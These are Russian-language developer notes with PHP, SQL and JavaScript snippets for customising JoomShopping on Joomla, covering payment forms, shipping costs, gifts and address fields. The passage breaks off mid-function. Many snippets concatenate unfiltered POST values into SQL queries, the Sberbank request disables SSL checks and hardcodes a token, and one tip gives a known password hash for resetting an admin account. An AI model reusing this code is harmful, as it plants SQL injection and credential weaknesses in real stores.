<?php if ($jshopConfig->admin_show_product_extra_field) include(dirname(__FILE__)."/extrafields.php"); ?>
<?php if ($jshopConfig->admin_show_product_related) include(dirname(__FILE__)."/related.php");?>
...

Далее нужно изменить процедур productGroupUpdate для сохранения, открываем файл:

/administrator/components/com_jshopping/controllers/products.php
function productGroupUpdate($id, $post){
$jshopConfig = JSFactory::getConfig();
$product = JSFactory::getTable('product', 'jshop');
$product->load($id);
...
//соханяем сопутсвующий
if (isset($post['related_products']) and count($post['related_products']) and count($id)>0)
{
$db = JFactory::getDbo();
foreach($post['related_products'] as $rel)
if (trim($rel)!='')
{
$db->setquery("insert into #__jshopping_products_relations(product_id,product_related_id) values(".$id.",'".$rel."');");$db->execute();
}
}
...

Joomla 2.x - восстановление пароля

Для восстановления пароля, нужно в таблице #__users в поле paasword вставить значение "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" - это слово "secret"

JoomShopping и Тинькофф(pm_tinkoff) - ошибка 500 при открытии формы

Данная ошибка возникает при чтении корзины в момент открытия формы банка, обнаружилась в версии 2.0.1, на 6м шаге 

Для лечения достаточно обновить код в файле:

components/com_jshopping/payments/pm_tinkoff/pm_tinkoff.php
function showEndForm($pmconfigs, $order)
{
$cart = JSFactory::getModel('cart', 'jshop');
if ($this->joomlaVersion === 2) {
$cart->load('cart');
} else {
//$cart->init('cart', 1);
$cart->load('cart');
}
....

 

Форма оплаты для сбербанка через токен

На форме добавить эту кнпоку, в элементе totalamount_tt - указать сумму для оплаты, ID='tt' заменить на нужные варианты

<span>totalamount</span><input type="text" name="totalamount_tt" id="totalamount_tt" value="1500"><br>
<a class="btn sberbtn" style="background: red;" id="tt">Оплатить через сбербанк</a>
<div id="sberout">&nbsp</div>

Обработка запроса, можно разместить в index.php

function curlQuery($query_url) //функция ждет на вход некий URL адрес, с параметрами.
{
$ch = curl_init() or die('Ошибка инициализации cURL'); //инициализируем протокол cURL
//устанавливаем все необходимые данные
curl_setopt($ch, CURLOPT_URL, $query_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'PHP Payment Gateway by Fuss (https://fussraider.ru)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$data = curl_exec($ch) or die('Не удалось послать данные на сервер, повторите попытку.
Error: ' . curl_error($ch));
$data_array = json_decode($data, true);
return $data_array;
}
if (isset($_POST['sberbtn']))
{
$amount=$_POST['amount']*100;
$sber_login = 'diet-clinic';
$sber_pass = '';
$sberdebug = 0;
$sber_token = '8itb64qd112crrtmf0rbrii62a';
$sberauthtype = 0;
$sber_success = 'successpay';
$sber_cancel = 'unsuccesspay';
//номер заказа для сбера
$today = JFactory::getDate();
$today = JHtml::_('date', $today, 'Ymd');
$rand = strtoupper(substr(uniqid(sha1(time())),0,6));
$uniqueno = $rand . $today; //order_id
$register = 'register.do';
$returnUrl = JURI::root().$sber_success;
$cancelUrl = JURI::root().$sber_cancel;
$merchant = array('login' => $sber_login,'password' => $sber_pass);
$get_order_status = 'getOrderStatus.do';
$orderNumber = $_SERVER['REQUEST_TIME']; // номер заказа, будем формировать, например, из метки времени (можете изменить под свои нужды, но главное чтобы он был УНИКАЛЬНЫМ)
//$invoice_id=$_POST['sberbtn'];
$invoice_id=$orderNumber;
if ($sberauthtype==0) $authpass='token='.$sber_token;
if ($sberauthtype==1) $authpass='userName='.$merchant['login'].'&password='.$merchant['password'];
if ($sberdebug==1) $main_server = 'https://3dsec.sberbank.ru/payment/rest/register.do';
if ($sberdebug==0) $main_server = 'https://securepayments.sberbank.ru/payment/rest/';
$url= ($main_server.$register.'?'.$authpass.'&amount='.$amount.'&orderNumber='.$invoice_id.'&returnUrl='.$returnUrl.'&failUrl='.$cancelUrl.'&language=ru&pageView=DESKTOP');
$data_arr = curlQuery($url);
if(isset($data_arr['errorCode']) & !empty($data_arr['errorCode']))
{
echo ('Произошла ошибка: ' . $data_arr['errorCode'] . ' : ' . $data_arr['errorMessage']);
echo '<br>$url = '.$url;
exit();
}
else {echo $data_arr['formUrl'];}
exit();
}

Скрипт обработки нажатия на кнопку оплаты:

<script>
jQuery(document).ready(function() {
jQuery("body").on("click", ".sberbtn", function(e){
if (document.getElementById('sberout')!=null) document.getElementById('sberout').innerHTML='Формирование ссылки на оплату';
var ids=this.id;
var myData = 'sberbtn='+ids+'&amount='+document.getElementById('totalamount_'+ids).value;
jQuery.ajax({
type: "POST",
url: "index.php?option=com_content&view=article&id=158",
dataType:"text",
data:myData,
success:function(response){
if (response.split('://')[1]!=null)
{
window.location.replace(response);
}
else
if (document.getElementById('sberout')!=null) document.getElementById('sberout').innerHTML=response;
},
error:function (xhr, ajaxOptions, thrownError){document.getElementById('sberout').innerHTML='Ошибка : '+thrownError;}
});
});
});
</script>

Бегущая строка через CSS

Код:

<ul style="list-style: none;" class="marquee">
<li class="marqueeli"><img src="/images/1.jpg" alt="" ></li>
<li class="marqueeli"><img src="/images/2.jpg" alt="" ></li>
</ul>

Стиль:

<style>
.marquee{width: 100%;display: flex; margin: 0 auto; white-space: nowrap; overflow: hidden; box-sizing: border-box;}
.marqueeli{float:left;display: inline-block;padding-left: 10%;animation: marquee 15s linear infinite;}
@keyframes marquee {0% {transform: translate(0, 0);}100% {transform: translate(-100%, 0);}}
</style>

JoomShopping - добавить номер страницы в метатег description

Для добавления номера страницы необходимо открыть файл списка товаров в категории:

/components/com_jshopping/templates/default/list_products/list_products.php

В начала файле достаточно добавить этот код:

$numpagecount='';
if (isset($_GET['start']))
{
$limitstart=JRequest::getInt('limitstart');
$limit=JFactory::getApplication()->getUserStateFromRequest( 'jshoping.list.front.productlimit', 'limit', $this->category->products_page, 'int');
$numpagecount=' - страница '.(((int)$limitstart/$limit)+1);
}
setMetaData($this->category->name, '', $this->category->name.' '.$numpagecount);

Если выбрана первая страница то приписки "- номер страницы N" не будет, т.к. отлавливается ключ "start" в URL страницы

JoomShopping &One Step Checkuot - своя стоимость доставки и самовывоза у товара

Интернет магазину часто необходимо указывать свою стоимость доставки/самовывоза, например для крупногабаритного груза, но стандартный функционал не позволяет это реализовать.

Для внедрения этого функционала необходимо в базе данных содать нужные поля - стоимость доставки(deleviry_cost)  и стоимость самовывоза(pickup_cost).

Необходимо внести изменения в шаблон корзины One Step Checkout, файл:

components/com_jshopping/templates/addons/onestepcheckout/default/checkout.php

В нашем случае самовывоз это shipping_id=1, все остальное это доставка(транспортной компанией, до квартиры и тд), необходимо внести изменения в блок с выводом стоимости, элемент <td class="name SHIPPING_PRICE">:

$totalpickup_cost=0;$delivery=0;//обнуляем общую стоимость до цикла вывода товаров в карточке foreach ($this->products as $key_id=>$prod) 
{
if ($shipngid==1)
{
$db->setquery("select pickup_cost from #__jshopping_products where product_id='".$prod['product_id']."'");$pickup_cost=$db->loadresult();
if (trim($pickup_cost)=='') $pickup_cost='0';
$totalpickup_cost=$totalpickup_cost+($pickup_cost*$prod['quantity']);
}
if ($shipngid!=1)
{
$db->setquery("select yan_pickup_cost from #__jshopping_products where product_id='".$prod['product_id']."'");$delivery_cost=$db->loadresult();
if (trim($delivery_cost)=='') $delivery_cost='0';
$price=$price+($delivery_cost*1);
$delivery=$delivery+($delivery_cost*$prod['quantity']);
}
if ($shipngid!=1) $this->summ_delivery=$delivery;
if ($shipngid==1) $this->summ_delivery=$totalpickup_cost;
if (isset($this->summ_delivery) and $this->summ_delivery>0)
{ ?>
<tr>
<td class="name SHIPPING_PRICE">
<?php if ($is_shiping) echo JText::_('JSHOP_ONESTEPCHECKOUT_SHIPPING_PRICE'); else echo 'Стоимость самовывоза' ?>
<input type="hidden" id="formula" value="shipngid: <?php echo $shipngid?> qunt: <?php echo $qunt?> first: <?php echo $first?> second: <?php echo $second?> delcost: <?php echo $price?>">
</td>
<td class="value SHIPPING_PRICE">
<?php
echo formatprice($this->summ_delivery) ?>
<?php echo $this->_tmp_ext_shipping?>
<input type="hidden" id="pagequant" value="<?php echo $qunt?>">
<input type="hidden" id="delprice" value="<?php echo getRoundPriceProduct(floatval($price+$quntprice))?>">
</td>
</tr>
<tr style="display:none;">
<td class="name mkad">Выезд за МКАД: расстояние 1км/40руб</td>
<td class="value SHIPPING_PRICE" id="mkadtd">40 руб.</td>
</tr>
<?php } ?>

 Но это только шаблон корзины, также необходимо включить стоимость доставки при создании заказа, необходимо файле после создания заказа $order->saveOrderItem($cart->products) добавить код пересчета стоимости:

components/com_jshopping/models/checkoutorder.php
$order->saveOrderItem($cart->products);
if ($order->shipping_method_id!='1')//доставка
{
$db->setquery("select sum(delivery_cost) from #__jshopping_products where product_id in (select product_id from #__jshopping_order_item where order_id='".$order->order_id."') ");$shipselfsumm=$db->loadresult();
$db->setquery("update `#__jshopping_orders` set order_shipping='".$shipselfsumm."' WHERE order_id='".$order->order_id."' ");$db->execute();
$db->setquery("update `#__jshopping_orders` set order_total=(order_shipping+order_subtotal+order_payment+order_package-order_discount) WHERE order_id='".$order->order_id."' ");$db->execute();
}
if ($order->shipping_method_id=='1')//самовывоз
{
$db->setquery("select sum(pickup_cost) from #__jshopping_products where product_id in (select product_id from #__jshopping_order_item where order_id='".$order->order_id."') ");$shipselfsumm=$db->loadresult();
$db->setquery("update `#__jshopping_orders` set order_shipping='".$shipselfsumm."' WHERE order_id='".$order->order_id."' ");$db->execute();
$db->setquery("update `#__jshopping_orders` set order_total=(order_shipping+order_subtotal+order_payment+order_package-order_discount) WHERE order_id='".$order->order_id."' ");$db->execute();
}

Для изменения подписи "стоимость доставки" на "стоимость самовывоза" в шаблоне письма для покупателя, необходимо редактировать файл:

components/com_jshopping/templates/sitecorp/checkout/ordermail.php
<?php if (!$this->config->without_shipping){?>
<tr>
<td colspan="4" align="right" style="padding-right:15px;" ><?php if ($order->shipping_method_id==1) echo 'Стоимость самовывоза '; else print _JSHOP_SHIPPING_PRICE ?>:</td>
<td class="price"><?php print formatprice($this->order->order_shipping, $order->currency_code); ?><?php print $this->_tmp_ext_shipping?></td>
</tr>
<?php } ?>

Осталось добавить новую подпись в PDF файл, редактируем файл:

components/com_jshopping/lib/generate_pdf_order.php
if (!$jshopConfig->without_shipping){
$pdf->SetXY(20,$y + 5);
$pdf->Rect(20,$y + 5,170,5,'F');
if ($order->shipping_method_id=='1') $shiptxt='Стоимость самовывоза' ;else $shiptxt=_JSHOP_SHIPPING_PRICE;
$pdf->MultiCell(130,5,$shiptxt,'1','R');
$pdf->SetXY(150,$y + 5);
$pdf->MultiCell(40,5, formatprice($order->order_shipping, $order->currency_code),'1','R');
if ($order->order_package>0 || $jshopConfig->display_null_package_price){
$y=$y+5;
$pdf->SetXY(20,$y + 5);
$pdf->Rect(20,$y + 5,170,5,'F');
$pdf->MultiCell(130,5,'Выезд за МКАД: расстояние 1км/40руб','1','R');
$pdf->SetXY(150,$y + 5);
$pdf->MultiCell(40,5, formatprice($order->order_package, $order->currency_code),'1','R');
}
}else{$y = $y - 5;}

JoomShopping & One page checkout- Подарки

JoomShopping в своем стандартном функционале имеет возможность только предоставления скидки по купону, но возникает потребность делать подарки при покупке определенного товара.

Для реализации этого механизма вам необходимо вести 2 списка: Список товаров и список подарков к этим товарам. Пример составлен для дополнения one page checkout.

Нам необходимо внести изменения в файле корзины one page checkout:

components/com_jshopping/templates/addons/onestepcheckout/default/checkuot.php

В начале файла добавить составление массива ID товаров и подарков (их отличие в нулевой стоимости):

$prodid=array();$prodprice=array();
foreach ($this->products as $key_id=>$prod)
{
$prodid[]=$prod['product_id'];//ID товаров
$prodprice[$prod['product_id']]=$prod['price'];//ID подарков
}

Убрать поле с вводом кол-ва у подарка:

<div class="quantity">
<span class="quantitymore" <?php if ($prod['price']*1<=0) echo 'style="display:none1;"'?> onclick="qty=jQuery('#quantity<?php echo $key_id ?>');qty.val(parseFloat(qty.val())+1);qty.change()"></span>
<input type="text" id="quantity<?php echo $key_id ?>" name="quantity[<?php echo $key_id ?>]" <?php if ($prod['price']*1<=0) echo 'disabled="disabled"'?> value="<?php echo $prod['quantity'] ?>" data-quantity="<?php echo $prod['quantity'] ?>" onkeyup="oneStepCheckout.refreshForm(this,800)" onchange="oneStepCheckout.refreshForm(this,0)" />
<span class="quantityless" <?php if ($prod['price']*1<=0) echo 'style="display:none1;"'?> onclick="qty=jQuery('#quantity<?php echo $key_id ?>');qty.val(parseFloat(qty.val())-1);qty.change()"></span>
</div>

Добавить код, для вставки формы добавления подарка:

<?php 
//выбор подарка
//список товаров в $prodid
//список включенных подарков в $gifts
//товары в карточки $prodidstr
//подарки в карточке $cartgiftsstr
//смотрим в какие активные акции с типом подарок попадают товары
$prodidstr=implode(',',$prodid);
$cartgiftsstr=implode(',',$gifts); if (count($gifts)==0) $cartgiftsstr='0'; if (trim($cartgiftsstr)=='') $cartgiftsstr='0';
echo '<input type="hidden" id="prodstr" value="'.$prodidstr.'">';
if (trim($prodidstr)!='')
{
      $db->setquery("select distinct discount_id,(select GROUP_CONCAT(list_id) from #__rad_market_js_list p where p.tp='tovm' and p.discount_id=l.discount_id) as gifts,
      (select name from #__rad_market_js_discounts d where d.id=discount_id) as name,
      (select def from #__rad_market_js_discounts d where d.id=discount_id) as def
      from #__rad_market_js_list l where list_id in (".$prodidstr.") and tp='tov' and discount_id in
      (select id from #__rad_market_js_discounts s where s.state=1 and `end`>DATE(NOW()) and s.tp='gift') ");$desclist=$db->loadobjectlist();
      if (count($desclist)>0)
           {
               $ret= '<table style="width:100%;" class="gifttable"><tbody>';
               $count=0;
               //список акций
               foreach($desclist as $dblist)
                    {
                           $giftsstr=$dblist->gifts;$mass=explode(',',$giftsstr);if (count($mass)==0)$mass=array($giftsstr);$newmass=array();foreach($mass as $massitem) if                 (trim($massitem)!='')$newmass[]=$massitem;$giftsstr=implode(',',$newmass);
                           $desclistmass[$dblist->discount_id]=$newmass;
                      }
              //смотрим какой список уже отработал
              $exlist=array();
              if (trim($cartgiftsstr)!='')
              foreach($desclist as $dblist)
              foreach(explode(',',$cartgiftsstr) as $cartgid)
              if (in_array($cartgid, $desclistmass[$dblist->discount_id])) $exlist[]=$dblist->discount_id;
              foreach($desclist as $dblist)
              if (!in_array($dblist->discount_id,$exlist))
                  {
                         $gfcount=0;
                         if (trim($dblist->gifts)!='')
                                {
                                       //отработка пустых значений
                                       $giftsstr=$dblist->gifts;$mass=explode(',',$giftsstr);if (count($mass)==0)$mass=array($giftsstr);$newmass=array();foreach($mass as $massitem) if     (trim($massitem)!='')$newmass[]=$massitem;$giftsstr=implode(',',$newmass);
                                       $db->setquery("select (select GROUP_CONCAT(category_id) from #__jshopping_products_to_categories c where c.product_id=p.product_id limit 1) as catid,`name_ru-RU` as name,p.* from  #__jshopping_products p where product_id in (".$giftsstr.") ");$dbgifts=$db->loadobjectlist();
                                        //предварительный расчет кол-ва подарков на выбор
                                        foreach($dbgifts as $gift)
                                        if ((!in_array($gift->product_id,explode(',',$cartgiftsstr)))){$gfcount++;}
                                        //вывод формы
                                        if ($gfcount>0)
                                             {
                                                     //заголовок
                                                     $ret.='<tr><td colspan="3" id="doscunttr_'.$dblist->discount_id.'"><h3>'.$dblist->name.'</h3></td></tr>';
                                                     $ret.='<tr><td colspan="3" id="doscuntdeftr_'.$dblist->discount_id.'"><span style="color:red;">*При заказе данного товара мы предоставляем подарок</span></td></tr>';
                                                     if (trim($dblist->def)!='') $ret.='<tr><td colspan="3" id="doscuntdeftr_'.$dblist->discount_id.'"><pre>'.$dblist->def.'</pre></td></tr>';
                                                     //товары
                                                     foreach($dbgifts as $gift)
                                                     if ((!in_array($gift->product_id,explode(',',$cartgiftsstr))))
                                                           {
                                                                $ret.='<tr>
                                                                           <td><img class="uk-thumbnail" src="'.JURI::root().'components/com_jshopping/files/img_products/thumb_'.$gift->image.'" style="max-height:100px;max-         width:100px;"></td>
                                                                           <td>'.$gift->name.'</td>
                                                                           <td><a class="btn setgift uk-button" id="'.$gift->product_id.'"><span class="icoon-basket"></span>Выбрать</a></td>
                                                                 </tr>';
                                                                 $gfcount++;$count++;
                                                            }
                                                }
                                 }
                     }
                     $ret.='</tbody></table>';
                     if ($count>0) echo $ret;
       }
 }
?>
<script>
jQuery(document).ready(function() {
jQuery("body").on("click", ".setgift", function(e) {
    var ids=this.id;
    var myData = 'setgift='+ids;
    jQuery.ajax({
            type: "POST",
            url: document.getElementById('siteurl').value+"index.php?<ссылка на файл, который обработает запрос>",
            dataType:"text",
            data:myData,
            success:function(response){
            location.reload();
            },
            error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
     });
});
});
</script>

Необходимо внести изменения в модель корзины- чтобы подарки не меняли стоимость и кол-во, файл:

components/com_jshopping/models/cart.php
function updateCartProductPrice() {
$jshopConfig = JSFactory::getConfig();
foreach($this->products as $key=>$value) {
$product = JSFactory::getTable('product', 'jshop');
$product->load($this->products[$key]['product_id']);
$attr_id = unserialize($value['attributes']);
$freeattributes = unserialize($value['freeattributes']);
$product->setAttributeActive($attr_id);
$product->setFreeAttributeActive($freeattributes);
//корректировка подарка
if ($this->products[$key]['price']>0)
$this->products[$key]['price'] = $product->getPrice($this->products[$key]['quantity'], 1, 1, 1, $this->products[$key]);
if ($jshopConfig->cart_basic_price_show){$this->products[$key]['basicprice'] = $product->getBasicPrice();}
}
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onAfterUpdateCartProductPrice', array(&$this));
$this->loadPriceAndCountProducts();
$this->reloadRabatValue();
$this->saveToSession();
}
function refresh($quantity){
$jshopConfig = JSFactory::getConfig();
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onBeforeRefreshProductInCart', array(&$quantity, &$this));
if (is_array($quantity) && count($quantity)){
$lang = JSFactory::getLang();
$name = $lang->get('name');
foreach($quantity as $key=>$value){
if ($jshopConfig->use_decimal_qty){
$value = floatval(str_replace(",",".",$value));
$value = round($value, $jshopConfig->cart_decimal_qty_precision);
}else{
$value = intval($value);
}
if ($value < 0) $value = 0;
$product = JSFactory::getTable('product', 'jshop');
$product->load($this->products[$key]['product_id']);
$attr = unserialize($this->products[$key]['attributes']);
$free_attr = unserialize($this->products[$key]['freeattributes']);
$product->setAttributeActive($attr);
$product->setFreeAttributeActive($free_attr);
$qtyInStock = $product->getQtyInStock();
$checkqty = $value;
$dispatcher->trigger('onRefreshProductInCartForeach', array(&$this, &$quantity, &$key, &$product, &$attr, &$free_attr, &$qtyInStock, &$checkqty, &$value));
foreach($this->products as $key2 => $value2){
if ($key2!=$key && $value2['pid_check_qty_value']==$this->products[$key]['pid_check_qty_value']){
$checkqty += $value2["quantity"];
}
}
if ($jshopConfig->max_count_order_one_product && ($checkqty > $jshopConfig->max_count_order_one_product)){
JError::raiseNotice(111, sprintf(_JSHOP_ERROR_MAX_COUNT_ORDER_ONE_PRODUCT, $jshopConfig->max_count_order_one_product));
return 0;
}
if ($jshopConfig->min_count_order_one_product && ($checkqty < $jshopConfig->min_count_order_one_product)){
JError::raiseNotice(112, sprintf(_JSHOP_ERROR_MIN_COUNT_ORDER_ONE_PRODUCT, $jshopConfig->min_count_order_one_product));
return 0;
}
if (!$product->unlimited && $jshopConfig->controler_buy_qty && ($checkqty > $qtyInStock)){
JError::raiseWarning(113, sprintf(_JSHOP_ERROR_EXIST_QTY_PRODUCT_BASKET, $product->$name, $qtyInStock));
continue;
}
//корректировка подарка
if ($this->products[$key]['price']>0)
$this->products[$key]['price'] = $product->getPrice($value, 1, 1, 1, $this->products[$key]);

if ($jshopConfig->cart_basic_price_show){$this->products[$key]['basicprice'] = $product->getBasicPrice();}
//корректировка подарка
if ($this->products[$key]['price']>0)
$this->products[$key]['quantity'] = $value;
//корректировка подарка
if ($this->products[$key]['price']==0 and $value>1)
if ($value>1)$this->products[$key]['quantity']=1;

if ($this->products[$key]['quantity'] == 0 or $value==0){unset($this->products[$key]);}
else if ($value==0) {unset($this->products[$key]);}

unset($product);
//составляем массивы продуктов и подарков
$productmass=array();$giftmass=array();
foreach ($this->products as $key_id=>$prod)
{
if ($prod['price']>0)
$productmass[]=$prod['product_id'];
else
$giftmass[]=$prod['product_id'];
}
//проверка - должен ли быть подарок после удаления
if (count($giftmass)>0)
{
foreach($giftmass as $gift)
if (!in_array($gift,$productmass))
foreach($this->products as $key_id=>$prod) if ($this->products[$key_id]['product_id']==$gift) unset($this->products[$key_id]);
}
}
}
$this->loadPriceAndCountProducts();
$this->reloadRabatValue();
$this->saveToSession();
$dispatcher->trigger('onAfterRefreshProductInCart', array(&$quantity, &$this));
return 1;
}

Остается файл, который обработает запрос при добавлении подарка:

//установка подарка
if (isset($_POST['setgift']) and strlen($_POST['setgift']))
{
$ids=$_POST['setgift'];
require_once(JPATH_ROOT.DS.'components'.DS.'com_jshopping'.DS.'models'.DS.'cart.php');
require_once(JPATH_ROOT.DS.'components'.DS.'com_jshopping'.DS.'models'.DS.'tempcart.php');
$cart = new jshopCart();
$tempcart = new jshopTempCart();
$cart->load();
//добавляем подарок
$db = JFactory::getDbo();
$db->setquery("select (select `name_ru-RU` from #__jshopping_manufacturers m where m.manufacturer_id=p.product_manufacturer_id) as manufacturer,
vendor_id,product_weight,manufacturer_code,product_ean,delivery_times_id,image,(select tax_name from #__jshopping_taxes where tax_id=product_tax_id)as tax,product_tax_id,`name_ru-RU` as name,
(select group_concat(category_id) from #__jshopping_products_to_categories c where c.product_id=p.product_id) as category_id
from #__jshopping_products p where product_id='".$ids."' ");$product=$db->loadobject();
$temp_product['quantity'] = 1;
$temp_product['product_id'] = $ids;
$temp_product['category_id'] = $product->category_id;
$temp_product['tax'] = $product->tax;
$temp_product['tax_id'] = $product->product_tax_id;
$temp_product['thumb_image'] = 'thumb_'.$product->image;
$temp_product['delivery_times_id'] = $product->delivery_times_id;
$temp_product['ean'] = $product->product_ean;
$temp_product['manufacturer_code'] = $product->manufacturer_code;
$temp_product['attributes'] = '';
$temp_product['attributes_value'] = array();
$temp_product['extra_fields'] = array();
$temp_product['weight'] = $product->product_weight;
$temp_product['vendor_id'] = $product->vendor_id;
$temp_product['files'] = '';
$temp_product['freeattributes'] ='';
$temp_product['manufacturer'] = $product->manufacturer;
$temp_product['price']=0;
$temp_product['product_name']=$product->name.'(ПОДАРОК)';
$cart->products[] = $temp_product;
$session = JFactory::getSession();
$session->set($cart->type_cart, serialize($cart));
exit();
}

JoomShopping - Добавить поле ввода адреса в способ доставки

У JoomShopping в стандартных способах доставки нет возможности указать адрес доставки или транспортную компнию, это можно исправить.

Редактируем файлы формы:

components/com_jshopping/templates/<ваш шаблон>/checkout/shippings.php

Переменные будет созранять в сессии, для этого добавим код:

if (!isset($_SESSION['jsext_field_3'])) $_SESSION['jsext_field_3']='';
if (!isset($_SESSION['jsext_field_1'])) $_SESSION['jsext_field_1']='';
if (!isset($_SESSION['jsorder_id'])) $_SESSION['jsorder_id']='';

Далее добавим поля для ввода, у нас в примере была 6 способов доставки:

1 - Доставка курьером по г.Новосибисрку
2 - Доставка Почтой России. оптовая
3 - Доставка транспортной компанией
4 - Самовывоз из нашего офиса
5 - Доставка Почтой России. розничная
6 - Самовывоз из нашего офиса. розничная

<div class="name">
<input type = "radio" name = "sh_pr_method_id" class="changeshipping" id="shipping_method_<?php print $shipping->sh_pr_method_id?>" value="<?php print $shipping->sh_pr_method_id ?>" <?php if ($shipping->sh_pr_method_id==$this->active_shipping){ ?>checked = "checked"<?php } ?> onclick="showShippingForm(<?php print $shipping->shipping_id?>)" />
<label for = "shipping_method_<?php print $shipping->sh_pr_method_id ?>" class="changeshipping" id="labelshipping_method_<?php print $shipping->sh_pr_method_id?>"><?php echo '<b>'.$ii.'.</b> ';?><?php
if ($shipping->image){?>
<span class="shipping_image"><img src="/<?php print $shipping->image?>" alt="<?php print htmlspecialchars($shipping->name)?>" /></span>
<?php }?>
<b><?php print $shipping->name?></b>
<span class="shipping_price">(<?php print formatprice($shipping->calculeprice); ?>)</span>
</label>

<?php if ($this->config->show_list_price_shipping_weight && count($shipping->shipping_price)){ ?>
<table class="shipping_weight_to_price">
<?php
foreach($shipping->shipping_price as $price)
{?>
<tr>
<td class="weight">
<?php if ($price->shipping_weight_to!=0){ print formatweight($price->shipping_weight_from);?> - <?php print formatweight($price->shipping_weight_to);}else{ print _JSHOP_FROM." ".formatweight($price->shipping_weight_from);} ?>
</td>
<td class="price">
<?php print formatprice($price->shipping_price); ?>
</td>
</tr>
<?php } ?>
</table>
<?php } ?>

<div class="shipping_descr"><?php print $shipping->description?></div>
<?php
$ext1val='';
if ($shipping->sh_pr_method_id==1) $ext1val='Доставка курьером по Новосибирску.';//розница
if ($shipping->sh_pr_method_id==2) $ext1val='Доставка Почтой России.';//оптовые
if ($shipping->sh_pr_method_id==3)
{
if ($_SESSION['jsext_field_1']=='Доставка Почтой России.') $_SESSION['jsext_field_1']='';
if ($_SESSION['jsext_field_1']=='Самовывоз из офиса.') $_SESSION['jsext_field_1']='';
if ($_SESSION['jsext_field_1']=='Доставка курьером по Новосибирску.') $_SESSION['jsext_field_1']='';
$ext1val=$_SESSION['jsext_field_1'];
};
if ($shipping->sh_pr_method_id==4) $ext1val='Самовывоз из офиса.';
if ($shipping->sh_pr_method_id==5) $ext1val='Доставка Почтой России.';
if ($shipping->sh_pr_method_id==6) $ext1val='Самовывоз из офиса.';
?>
<input class="to_ext3" type="text" value="<?php echo $ext1val;?>" id="shipping_text1_<?php print $shipping->sh_pr_method_id?>" placeholder="Укажите транспортную компанию" style="<?php if ($shipping->sh_pr_method_id!=$this->active_shipping or !in_array($this->active_shipping,array(3))) echo 'display:none;'?>width: 99%;max-width:720px;margin-bottom: 10px;">
<textarea class="to_ext3" id="shipping_text3_<?php print $shipping->sh_pr_method_id?>" style="<?php if ($shipping->sh_pr_method_id!=$this->active_shipping) echo 'display:none;'?>min-height:70px;width:99%;max-width:720px;" placeholder="<?php echo JText::_('SHIPPING_TXT_'.$shipping->sh_pr_method_id);?>"><?php echo $_SESSION['jsext_field_3']?></textarea>
<div id="shipping_form_<?php print $shipping->shipping_id?>" class="shipping_form <?php if ($shipping->sh_pr_method_id==$this->active_shipping) print 'shipping_form_active'?>"><?php print $shipping->form?></div>
<?php if ($shipping->delivery)
{?>
<div class="shipping_delivery"><?php print _JSHOP_DELIVERY_TIME.": ".$shipping->delivery?></div>
<?php }?>
<?php if ($shipping->delivery_date_f){?>
<div class="shipping_delivery_date"><?php print _JSHOP_DELIVERY_DATE.": ".$shipping->delivery_date_f?></div>
<?php }?>
</div>

Добавим также скрытые элементы для хранения результата выбора - его будем передовать для сохранения в сессии.

<input type="hidden" name="ext_field_3" id="ext_field_3" value="<?php echo $_SESSION['jsext_field_3']?>" class="input">
<input type="hidden" name="ext_field_1" id="ext_field_1" value="<?php echo $_SESSION['jsext_field_1']?>" class="input">

Скрипт, котрый перебросит набранный текст и отправит его для внесения в сессию:

<script>
jQuery(document).ready(function() {
jQuery('body').on( "click",".changeshipping", function(){
var ids=this.id.split('_')[2];
var txt3=document.getElementById('shipping_text3_'+ids).value;
var txt1=document.getElementById('shipping_text1_'+ids).value;
txt3=txt3.replace("'",'&#39;').replace('`','&#96;').replace('+','&#43;').replace('+','&#61;');
txt1=txt1.replace("'",'&#39;').replace('`','&#96;').replace('+','&#43;').replace('+','&#61;');
if (document.getElementById('ext_field_3')!=null) document.getElementById('ext_field_3').value=txt3;
if (document.getElementById('ext_field_1')!=null) document.getElementById('ext_field_1').value=txt1;
jQuery('.to_ext3').hide();
if (ids!='4' && ids!='6')jQuery('#shipping_text3_'+ids).show(); //Полный адрес - только доставка с адресом
if (ids=='3')jQuery('#shipping_text1_'+ids).show(); //Траспортная - только доставка траспортной
});
jQuery('body').on( "change",".to_ext3", function(){
var ids=this.id.split('_')[2];
var txt3=document.getElementById('shipping_text3_'+ids).value;
var txt1=document.getElementById('shipping_text1_'+ids).value;
txt3=txt3.replace("'",'&#39;').replace('`','&#96;').replace('+','&#43;').replace('+','&#61;');
txt1=txt1.replace("'",'&#39;').replace('`','&#96;').replace('+','&#43;').replace('+','&#61;');
if (document.getElementById('ext_field_3')!=null) document.getElementById('ext_field_3').value=txt3;
if (document.getElementById('ext_field_1')!=null) document.getElementById('ext_field_1').value=txt1;
var myData='setextra='+ids+'&txt3='+txt3+'&txt1='+txt1;
jQuery.ajax({
type: "POST",
url: "index.php",
dataType:"text",
data:myData,
success:function(response){},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
});
</script>

Далее необходимперехват POST запроса и внесение в сессию, можно добавить на главной странице:

if (isset($_POST['setextra']) and strlen($_POST['setextra']))
{
$ids=$_POST['setextra'];
$txt1=$_POST['txt1'];
$txt3=$_POST['txt3'];
$_SESSION['jsext_field_3']=$txt3;
$_SESSION['jsext_field_1']=$txt1;
$_SESSION['jsorder_id']=$ids;
exit();
}

Осталось только внести в заказ, редактируем файл:

components/com_jshopping/models/checkoutorder.php
public function orderDataSave(&$adv_user, &$post){
$jshopConfig = JSFactory::getConfig();
$dispatcher = JDispatcher::getInstance();
$session = JFactory::getSession();
$cart = $this->getCart();
$order = $this->createOrder($adv_user, $post);
$dispatcher->trigger('onAfterCreateOrder', array(&$order, &$cart));
$this->couponFinished($adv_user->user_id, $order);
$order->saveOrderItem($cart->products);
$dispatcher->trigger('onAfterCreateOrderFull', array(&$order, &$cart));
$this->setEndOrderId($order->order_id);
$order->saveOrderHistory(1, '');
$order->updateProductsInStock(1);
$db = JFactory::getDbo();
if (isset($_SESSION['jsext_field_3']) and strlen($_SESSION['jsext_field_3'])>0)
{
//полный адрес
